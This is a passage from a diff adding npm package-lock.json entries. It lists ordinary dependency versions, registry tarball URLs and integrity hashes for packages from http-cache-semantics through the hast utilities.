+                    "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-3.8.1.tgz",
+                    "integrity": "sha512-5ai2iksyV8ZXmnZhHH4rWPoxxistEexSi5936zIQ1bnNTW5VnA85B6P/VpXiRM017IgRvb2kKo1a//y+0wSp3w=="
+                },
+                "keyv": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.0.0.tgz",
+                    "integrity": "sha512-eguHnq22OE3uVoSYG0LVWNP+4ppamWr9+zWBe1bsNcovIMy6huUJFPgy4mGwCd/rnl3vOLGW1MTlu4c57CT1xA==",
+                    "requires": {
+                        "json-buffer": "3.0.0"
+                    }
+                },
+                "normalize-url": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-2.0.1.tgz",
+                    "integrity": "sha512-D6MUW4K/VzoJ4rJ01JFKxDrtY1v9wrgzCX5f2qj/lzH1m/lW6MhUZFKerVsnyjOhOsYzI9Kqqak+10l4LvLpMw==",
+                    "requires": {
+                        "prepend-http": "^2.0.0",
+                        "query-string": "^5.0.1",
+                        "sort-keys": "^2.0.0"
+                    }
+                },
+                "p-cancelable": {
+                    "version": "0.4.1",
+                    "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-0.4.1.tgz",
+                    "integrity": "sha512-HNa1A8LvB1kie7cERyy21VNeHb2CWJJYqyyC2o3klWFfMGlFmWv2Z7sFgZH8ZiaYL95ydToKTFVXgMV/Os0bBQ=="
+                },
+                "pify": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz",
+                    "integrity": "sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg=="
+                },
+                "query-string": {
+                    "version": "5.1.1",
+                    "resolved": "https://registry.npmjs.org/query-string/-/query-string-5.1.1.tgz",
+                    "integrity": "sha512-gjWOsm2SoGlgLEdAGt7a6slVOk9mGiXmPFMqrEhLQ68rhQuBnpfs3+EmlvqKyxnCo9/PPlF+9MtY02S1aFg+Jw==",
+                    "requires": {
+                        "decode-uri-component": "^0.2.0",
+                        "object-assign": "^4.1.0",
+                        "strict-uri-encode": "^1.0.0"
+                    }
+                },
+                "strict-uri-encode": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz",
+                    "integrity": "sha512-R3f198pcvnB+5IpnBlRkphuE9n46WyVl8I39W/ZUTZLz4nqSP/oLYUrcnJrw462Ds8he4YKMov2efsTIw1BDGQ=="
+                }
+            }
+        },
+        "graceful-fs": {
+            "version": "4.2.10",
+            "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.10.tgz",
+            "integrity": "sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA=="
+        },
+        "graphql": {
+            "version": "14.7.0",
+            "resolved": "https://registry.npmjs.org/graphql/-/graphql-14.7.0.tgz",
+            "integrity": "sha512-l0xWZpoPKpppFzMfvVyFmp9vLN7w/ZZJPefUicMCepfJeQ8sMcztloGYY9DfjVPo6tIUDzU5Hw3MUbIjj9AVVA==",
+            "requires": {
+                "iterall": "^1.2.2"
+            }
+        },
+        "graphql-compose": {
+            "version": "6.3.8",
+            "resolved": "https://registry.npmjs.org/graphql-compose/-/graphql-compose-6.3.8.tgz",
+            "integrity": "sha512-o0/jzQEMIpSjryLKwmD1vGrCubiPxD0LxlGTgWDSu38TBepu2GhugC9gYgTEbtiCZAHPtvkZ90SzzABOWZyQLA==",
+            "requires": {
+                "graphql-type-json": "^0.2.4",
+                "object-path": "^0.11.4"
+            },
+            "dependencies": {
+                "graphql-type-json": {
+                    "version": "0.2.4",
+                    "resolved": "https://registry.npmjs.org/graphql-type-json/-/graphql-type-json-0.2.4.tgz",
+                    "integrity": "sha512-/tq02ayMQjrG4oDFDRLLrPk0KvJXue0nVXoItBe7uAdbNXjQUu+HYCBdAmPLQoseVzUKKMzrhq2P/sfI76ON6w=="
+                }
+            }
+        },
+        "graphql-config": {
+            "version": "3.4.1",
+            "resolved": "https://registry.npmjs.org/graphql-config/-/graphql-config-3.4.1.tgz",
+            "integrity": "sha512-g9WyK4JZl1Ko++FSyE5Ir2g66njfxGzrDDhBOwnkoWf/t3TnnZG6BBkWP+pkqVJ5pqMJGPKHNrbew8jRxStjhw==",
+            "requires": {
+                "@endemolshinegroup/cosmiconfig-typescript-loader": "3.0.2",
+                "@graphql-tools/graphql-file-loader": "^6.0.0",
+                "@graphql-tools/json-file-loader": "^6.0.0",
+                "@graphql-tools/load": "^6.0.0",
+                "@graphql-tools/merge": "6.0.0 - 6.2.14",
+                "@graphql-tools/url-loader": "^6.0.0",
+                "@graphql-tools/utils": "^7.0.0",
+                "cosmiconfig": "7.0.0",
+                "cosmiconfig-toml-loader": "1.0.0",
+                "minimatch": "3.0.4",
+                "string-env-interpolation": "1.0.1"
+            },
+            "dependencies": {
+                "cosmiconfig": {
+                    "version": "7.0.0",
+                    "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.0.0.tgz",
+                    "integrity": "sha512-pondGvTuVYDk++upghXJabWzL6Kxu6f26ljFw64Swq9v6sQPUL3EUlVDV56diOjpCayKihL6hVe8exIACU4XcA==",
+                    "requires": {
+                        "@types/parse-json": "^4.0.0",
+                        "import-fresh": "^3.2.1",
+                        "parse-json": "^5.0.0",
+                        "path-type": "^4.0.0",
+                        "yaml": "^1.10.0"
+                    }
+                },
+                "minimatch": {
+                    "version": "3.0.4",
+                    "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz",
+                    "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==",
+                    "requires": {
+                        "brace-expansion": "^1.1.7"
+                    }
+                }
+            }
+        },
+        "graphql-playground-html": {
+            "version": "1.6.30",
+            "resolved": "https://registry.npmjs.org/graphql-playground-html/-/graphql-playground-html-1.6.30.tgz",
+            "integrity": "sha512-tpCujhsJMva4aqE8ULnF7/l3xw4sNRZcSHu+R00VV+W0mfp+Q20Plvcrp+5UXD+2yS6oyCXncA+zoQJQqhGCEw==",
+            "requires": {
+                "xss": "^1.0.6"
+            }
+        },
+        "graphql-playground-middleware-express": {
+            "version": "1.7.23",
+            "resolved": "https://registry.npmjs.org/graphql-playground-middleware-express/-/graphql-playground-middleware-express-1.7.23.tgz",
+            "integrity": "sha512-M/zbTyC1rkgiQjFSgmzAv6umMHOphYLNWZp6Ye5QrD77WfGOOoSqDsVmGUczc2pDkEPEzzGB/bvBO5rdzaTRgw==",
+            "requires": {
+                "graphql-playground-html": "^1.6.30"
+            }
+        },
+        "graphql-subscriptions": {
+            "version": "1.2.1",
+            "resolved": "https://registry.npmjs.org/graphql-subscriptions/-/graphql-subscriptions-1.2.1.tgz",
+            "integrity": "sha512-95yD/tKi24q8xYa7Q9rhQN16AYj5wPbrb8tmHGM3WRc9EBmWrG/0kkMl+tQG8wcEuE9ibR4zyOM31p5Sdr2v4g==",
+            "requires": {
+                "iterall": "^1.3.0"
+            }
+        },
+        "graphql-type-json": {
+            "version": "0.3.2",
+            "resolved": "https://registry.npmjs.org/graphql-type-json/-/graphql-type-json-0.3.2.tgz",
+            "integrity": "sha512-J+vjof74oMlCWXSvt0DOf2APEdZOCdubEvGDUAlqH//VBYcOYsGgRW7Xzorr44LvkjiuvecWc8fChxuZZbChtg=="
+        },
+        "graphql-ws": {
+            "version": "4.9.0",
+            "resolved": "https://registry.npmjs.org/graphql-ws/-/graphql-ws-4.9.0.tgz",
+            "integrity": "sha512-sHkK9+lUm20/BGawNEWNtVAeJzhZeBg21VmvmLoT5NdGVeZWv5PdIhkcayQIAgjSyyQ17WMKmbDijIPG2On+Ag=="
+        },
+        "gray-matter": {
+            "version": "4.0.3",
+            "resolved": "https://registry.npmjs.org/gray-matter/-/gray-matter-4.0.3.tgz",
+            "integrity": "sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q==",
+            "requires": {
+                "js-yaml": "^3.13.1",
+                "kind-of": "^6.0.2",
+                "section-matter": "^1.0.0",
+                "strip-bom-string": "^1.0.0"
+            },
+            "dependencies": {
+                "js-yaml": {
+                    "version": "3.14.1",
+                    "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+                    "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+                    "requires": {
+                        "argparse": "^1.0.7",
+                        "esprima": "^4.0.0"
+                    }
+                },
+                "kind-of": {
+                    "version": "6.0.3",
+                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+                    "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
+                }
+            }
+        },
+        "gud": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/gud/-/gud-1.0.0.tgz",
+            "integrity": "sha512-zGEOVKFM5sVPPrYs7J5/hYEw2Pof8KCyOwyhG8sAF26mCAeUFAcYPu1mwB7hhpIP29zOIBaDqwuHdLp0jvZXjw=="
+        },
+        "gzip-size": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/gzip-size/-/gzip-size-3.0.0.tgz",
+            "integrity": "sha512-6s8trQiK+OMzSaCSVXX+iqIcLV9tC+E73jrJrJTyS4h/AJhlxHvzFKqM1YLDJWRGgHX8uLkBeXkA0njNj39L4w==",
+            "requires": {
+                "duplexer": "^0.1.1"
+            }
+        },
+        "handle-thing": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.1.tgz",
+            "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg=="
+        },
+        "har-schema": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz",
+            "integrity": "sha512-Oqluz6zhGX8cyRaTQlFMPw80bSJVG2x/cFb8ZPhUILGgHka9SsokCCOQgpveePerqidZOrT14ipqfJb7ILcW5Q=="
+        },
+        "har-validator": {
+            "version": "5.1.5",
+            "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.5.tgz",
+            "integrity": "sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==",
+            "requires": {
+                "ajv": "^6.12.3",
+                "har-schema": "^2.0.0"
+            }
+        },
+        "has": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz",
+            "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==",
+            "requires": {
+                "function-bind": "^1.1.1"
+            }
+        },
+        "has-ansi": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz",
+            "integrity": "sha512-C8vBJ8DwUCx19vhm7urhTuUsr4/IyP6l4VzNQDv+ryHQObW3TTTp9yB68WpYgRe2bbaGuZ/se74IqFeVnMnLZg==",
+            "requires": {
+                "ansi-regex": "^2.0.0"
+            },
+            "dependencies": {
+                "ansi-regex": {
+                    "version": "2.1.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
+                    "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA=="
+                }
+            }
+        },
+        "has-bigints": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.2.tgz",
+            "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ=="
+        },
+        "has-cors": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/has-cors/-/has-cors-1.1.0.tgz",
+            "integrity": "sha512-g5VNKdkFuUuVCP9gYfDJHjK2nqdQJ7aDLTnycnc2+RvsOQbuLdF5pm7vuE5J76SEBIQjs4kQY/BWq74JUmjbXA=="
+        },
+        "has-flag": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
+            "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw=="
+        },
+        "has-property-descriptors": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.0.tgz",
+            "integrity": "sha512-62DVLZGoiEBDHQyqG4w9xCuZ7eJEwNmJRWw2VY84Oedb7WFcA27fiEVe8oUQx9hAUJ4ekurquucTGwsyO1XGdQ==",
+            "requires": {
+                "get-intrinsic": "^1.1.1"
+            }
+        },
+        "has-symbol-support-x": {
+            "version": "1.4.2",
+            "resolved": "https://registry.npmjs.org/has-symbol-support-x/-/has-symbol-support-x-1.4.2.tgz",
+            "integrity": "sha512-3ToOva++HaW+eCpgqZrCfN51IPB+7bJNVT6CUATzueB5Heb8o6Nam0V3HG5dlDvZU1Gn5QLcbahiKw/XVk5JJw=="
+        },
+        "has-symbols": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz",
+            "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A=="
+        },
+        "has-to-string-tag-x": {
+            "version": "1.4.1",
+            "resolved": "https://registry.npmjs.org/has-to-string-tag-x/-/has-to-string-tag-x-1.4.1.tgz",
+            "integrity": "sha512-vdbKfmw+3LoOYVr+mtxHaX5a96+0f3DljYd8JOqvOLsf5mw2Otda2qCDT9qRqLAhrjyQ0h7ual5nOiASpsGNFw==",
+            "requires": {
+                "has-symbol-support-x": "^1.4.1"
+            }
+        },
+        "has-tostringtag": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz",
+            "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==",
+            "requires": {
+                "has-symbols": "^1.0.2"
+            }
+        },
+        "has-unicode": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz",
+            "integrity": "sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ=="
+        },
+        "has-value": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz",
+            "integrity": "sha512-IBXk4GTsLYdQ7Rvt+GRBrFSVEkmuOUy4re0Xjd9kJSUQpnTrWR4/y9RpfexN9vkAPMFuQoeWKwqzPozRTlasGw==",
+            "requires": {
+                "get-value": "^2.0.6",
+                "has-values": "^1.0.0",
+                "isobject": "^3.0.0"
+            },
+            "dependencies": {
+                "isobject": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+                    "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg=="
+                }
+            }
+        },
+        "has-values": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz",
+            "integrity": "sha512-ODYZC64uqzmtfGMEAX/FvZiRyWLpAC3vYnNunURUnkGVTS+mI0smVsWaPydRBsE3g+ok7h960jChO8mFcWlHaQ==",
+            "requires": {
+                "is-number": "^3.0.0",
+                "kind-of": "^4.0.0"
+            },
+            "dependencies": {
+                "is-number": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz",
+                    "integrity": "sha512-4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==",
+                    "requires": {
+                        "kind-of": "^3.0.2"
+                    },
+                    "dependencies": {
+                        "kind-of": {
+                            "version": "3.2.2",
+                            "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+                            "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+                            "requires": {
+                                "is-buffer": "^1.1.5"
+                            }
+                        }
+                    }
+                },
+                "kind-of": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz",
+                    "integrity": "sha512-24XsCxmEbRwEDbz/qz3stgin8TTzZ1ESR56OMCN0ujYg+vRutNSiOj9bHH9u85DKgXguraugV5sFuvbD4FW/hw==",
+                    "requires": {
+                        "is-buffer": "^1.1.5"
+                    }
+                }
+            }
+        },
+        "has-yarn": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/has-yarn/-/has-yarn-2.1.0.tgz",
+            "integrity": "sha512-UqBRqi4ju7T+TqGNdqAO0PaSVGsDGJUBQvk9eUWNGRY1CFGDzYhLWoM7JQEemnlvVcv/YEmc2wNW8BC24EnUsw=="
+        },
+        "hash-base": {
+            "version": "3.1.0",
+            "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.1.0.tgz",
+            "integrity": "sha512-1nmYp/rhMDiE7AYkDw+lLwlAzz0AntGIe51F3RfFfEqyQ3feY2eI/NcwC6umIQVOASPMsWJLJScWKSSvzL9IVA==",
+            "requires": {
+                "inherits": "^2.0.4",
+                "readable-stream": "^3.6.0",
+                "safe-buffer": "^5.2.0"
+            },
+            "dependencies": {
+                "safe-buffer": {
+                    "version": "5.2.1",
+                    "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+                    "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="
+                }
+            }
+        },
+        "hash.js": {
+            "version": "1.1.7",
+            "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.7.tgz",
+            "integrity": "sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==",
+            "requires": {
+                "inherits": "^2.0.3",
+                "minimalistic-assert": "^1.0.1"
+            }
+        },
+        "hasha": {
+            "version": "5.2.2",
+            "resolved": "https://registry.npmjs.org/hasha/-/hasha-5.2.2.tgz",
+            "integrity": "sha512-Hrp5vIK/xr5SkeN2onO32H0MgNZ0f17HRNH39WfL0SYUNOTZ5Lz1TJ8Pajo/87dYGEFlLMm7mIc/k/s6Bvz9HQ==",
+            "requires": {
+                "is-stream": "^2.0.0",
+                "type-fest": "^0.8.0"
+            }
+        },
+        "hast-to-hyperscript": {
+            "version": "5.0.0",
+            "resolved": "https://registry.npmjs.org/hast-to-hyperscript/-/hast-to-hyperscript-5.0.0.tgz",
+            "integrity": "sha512-DLl3eYTz8uwwzEubDUdCChsR5t5b2ne+yvHrA2h58Suq/JnN3+Gsb9Tc4iZoCCsykmFUc6UUpwxTmQXs0akSeg==",
+            "requires": {
+                "comma-separated-tokens": "^1.0.0",
+                "property-information": "^4.0.0",
+                "space-separated-tokens": "^1.0.0",
+                "style-to-object": "^0.2.1",
+                "unist-util-is": "^2.0.0",
+                "web-namespaces": "^1.1.2"
+            },
+            "dependencies": {
+                "style-to-object": {
+                    "version": "0.2.3",
+                    "resolved": "https://registry.npmjs.org/style-to-object/-/style-to-object-0.2.3.tgz",
+                    "integrity": "sha512-1d/k4EY2N7jVLOqf2j04dTc37TPOv/hHxZmvpg8Pdh8UYydxeu/C1W1U4vD8alzf5V2Gt7rLsmkr4dxAlDm9ng==",
+                    "requires": {
+                        "inline-style-parser": "0.1.1"
+                    }
+                },
+                "unist-util-is": {
+                    "version": "2.1.3",
+                    "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-2.1.3.tgz",
+                    "integrity": "sha512-4WbQX2iwfr/+PfM4U3zd2VNXY+dWtZsN1fLnWEi2QQXA4qyDYAZcDMfXUX0Cu6XZUHHAO9q4nyxxLT4Awk1qUA=="
+                }
+            }
+        },
+        "hast-util-from-parse5": {
+            "version": "4.0.2",
+            "resolved": "https://registry.npmjs.org/hast-util-from-parse5/-/hast-util-from-parse5-4.0.2.tgz",
+            "integrity": "sha512-I6dtjsGtDqz4fmGSiFClFyiXdKhj5bPceS6intta7k/VDuiKz9P61C6hO6WMiNNmEm1b/EtBH8f+juvz4o0uwQ==",
+            "requires": {
+                "ccount": "^1.0.3",
+                "hastscript": "^4.0.0",
+                "property-information": "^4.0.0",
+                "web-namespaces": "^1.1.2",
+                "xtend": "^4.0.1"
+            },
+            "dependencies": {
+                "ccount": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/ccount/-/ccount-1.1.0.tgz",
+                    "integrity": "sha512-vlNK021QdI7PNeiUh/lKkC/mNHHfV0m/Ad5JoI0TYtlBnJAslM/JIkm/tGC88bkLIwO6OQ5uV6ztS6kVAtCDlg=="
+                }
+            }
+        },
+        "hast-util-is-element": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/hast-util-is-element/-/hast-util-is-element-1.1.0.tgz",
+            "integrity": "sha512-oUmNua0bFbdrD/ELDSSEadRVtWZOf3iF6Lbv81naqsIV99RnSCieTbWuWCY8BAeEfKJTKl0gRdokv+dELutHGQ=="
+        },
+        "hast-util-parse-selector": {
+            "version": "2.2.5",
+            "resolved": "https://registry.npmjs.org/hast-util-parse-selector/-/hast-util-parse-selector-2.2.5.tgz",
+            "integrity": "sha512-7j6mrk/qqkSehsM92wQjdIgWM2/BW61u/53G6xmC8i1OmEdKLHbk419QKQUjz6LglWsfqoiHmyMRkP1BGjecNQ=="
+        },
+        "hast-util-raw": {
+            "version": "4.0.0",
+            "resolved": "https://registry.npmjs.org/hast-util-raw/-/hast-util-raw-4.0.0.tgz",
+            "integrity": "sha512-5xYHyEJMCf8lX/NT4iA5z6N43yoFsrJqXJ5GWwAbLn815URbIz+UNNFEgid33F9paZuDlqVKvB+K3Aqu5+DdSw==",
+            "requires": {
+                "hast-util-from-parse5": "^4.0.2",
+                "hast-util-to-parse5": "^4.0.1",
+                "html-void-elements": "^1.0.1",
+                "parse5": "^5.0.0",
+                "unist-util-position": "^3.0.0",
+                "web-namespaces": "^1.0.0",
+                "xtend": "^4.0.1",
+                "zwitch": "^1.0.0"
+            },
+            "dependencies": {
+                "parse5": {
+                    "version": "5.1.1",
+                    "resolved": "https://registry.npmjs.org/parse5/-/parse5-5.1.1.tgz",
+                    "integrity": "sha512-ugq4DFI0Ptb+WWjAdOK16+u/nHfiIrcE+sh8kZMaM0WllQKLI9rOUq6c2b7cwPkXdzfQESqvoqK6ug7U/Yyzug=="
+                },
+                "zwitch": {
+                    "version": "1.0.5",
+                    "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-1.0.5.tgz",
+                    "integrity": "sha512-V50KMwwzqJV0NpZIZFwfOD5/lyny3WlSzRiXgA0G7VUnRlqttta1L6UQIHzd6EuBY/cHGfwTIck7w1yH6Q5zUw=="
+                }
+            }
+        },
+        "hast-util-to-html": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/hast-util-to-html/-/hast-util-to-html-4.0.1.tgz",
+            "integrity": "sha512-2emzwyf0xEsc4TBIPmDJmBttIw8R4SXAJiJZoiRR/s47ODYWgOqNoDbf2SJAbMbfNdFWMiCSOrI3OVnX6Qq2Mg==",
+            "requires": {
+                "ccount": "^1.0.0",
+                "comma-separated-tokens": "^1.0.1",
+                "hast-util-is-element": "^1.0.0",
+                "hast-util-whitespace": "^1.0.0",
+                "html-void-elements": "^1.0.0",
+                "property-information": "^4.0.0",
+                "space-separated-tokens": "^1.0.0",
+                "stringify-entities": "^1.0.1",
+                "unist-util-is": "^2.0.0",
+                "xtend": "^4.0.1"
+            },
+            "dependencies": {
+                "ccount": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/ccount/-/ccount-1.1.0.tgz",
+                    "integrity": "sha512-vlNK021QdI7PNeiUh/lKkC/mNHHfV0m/Ad5JoI0TYtlBnJAslM/JIkm/tGC88bkLIwO6OQ5uV6ztS6kVAtCDlg=="
+                },
+                "character-entities-html4": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-1.1.4.tgz",
+                    "integrity": "sha512-HRcDxZuZqMx3/a+qrzxdBKBPUpxWEq9xw2OPZ3a/174ihfrQKVsFhqtthBInFy1zZ9GgZyFXOatNujm8M+El3g=="
+                },
+                "character-entities-legacy": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz",
+                    "integrity": "sha512-3Xnr+7ZFS1uxeiUDvV02wQ+QDbc55o97tIV5zHScSPJpcLm/r0DFPcoY3tYRp+VZukxuMeKgXYmsXQHO05zQeA=="
+                },
+                "is-alphabetical": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-1.0.4.tgz",
+                    "integrity": "sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg=="
+                },
+                "is-alphanumerical": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-1.0.4.tgz",
+                    "integrity": "sha512-UzoZUr+XfVz3t3v4KyGEniVL9BDRoQtY7tOyrRybkVNjDFWyo1yhXNGrrBTQxp3ib9BLAWs7k2YKBQsFRkZG9A==",
+                    "requires": {
+                        "is-alphabetical": "^1.0.0",
+                        "is-decimal": "^1.0.0"
+                    }
+                },
+                "is-decimal": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-1.0.4.tgz",
+                    "integrity": "sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw=="
+                },
+                "is-hexadecimal": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-1.0.4.tgz",
+                    "integrity": "sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw=="
+                },
+                "stringify-entities": {
+                    "version": "1.3.2",
+                    "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-1.3.2.tgz",
+                    "integrity": "sha512-nrBAQClJAPN2p+uGCVJRPIPakKeKWZ9GtBCmormE7pWOSlHat7+x5A8gx85M7HM5Dt0BP3pP5RhVW77WdbJJ3A==",
+                    "requires": {
+                        "character-entities-html4": "^1.0.0",
+                        "character-entities-legacy": "^1.0.0",
+                        "is-alphanumerical": "^1.0.0",
+                        "is-hexadecimal": "^1.0.0"
+                    }
+                },
+                "unist-util-is": {
+                    "version": "2.1.3",
+                    "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-2.1.3.tgz",
+                    "integrity": "sha512-4WbQX2iwfr/+PfM4U3zd2VNXY+dWtZsN1fLnWEi2QQXA4qyDYAZcDMfXUX0Cu6XZUHHAO9q4nyxxLT4Awk1qUA=="
+                }
+            }
+        },
+        "hast-util-to-parse5": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/hast-util-to-parse5/-/hast-util-to-parse5-4.0.1.tgz",
+            "integrity": "sha512-U/61W+fsNfBpCyJBB5Pt3l5ypIfgXqEyW9pyrtxF7XrqDJHzcFrYpnC94d0JDYjvobLpYCzcU9srhMRPEO1YXw==",
+            "requires": {
+                "hast-to-hyperscript": "^5.0.0",
+                "property-information": "^4.0.0",
+                "web-namespaces": "^1.0.0",
+                "xtend": "^4.0.1",
+                "zwitch": "^1.0.0"
+            },
+            "dependencies": {
+                "zwitch": {
+                    "version": "1.0.5",
+                    "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-1.0.5.tgz",
+                    "integrity": "sha512-V50KMwwzqJV0NpZIZFwfOD5/lyny3WlSzRiXgA0G7VUnRlqttta1L6UQIHzd6EuBY/cHGfwTIck7w1yH6Q5zUw=="
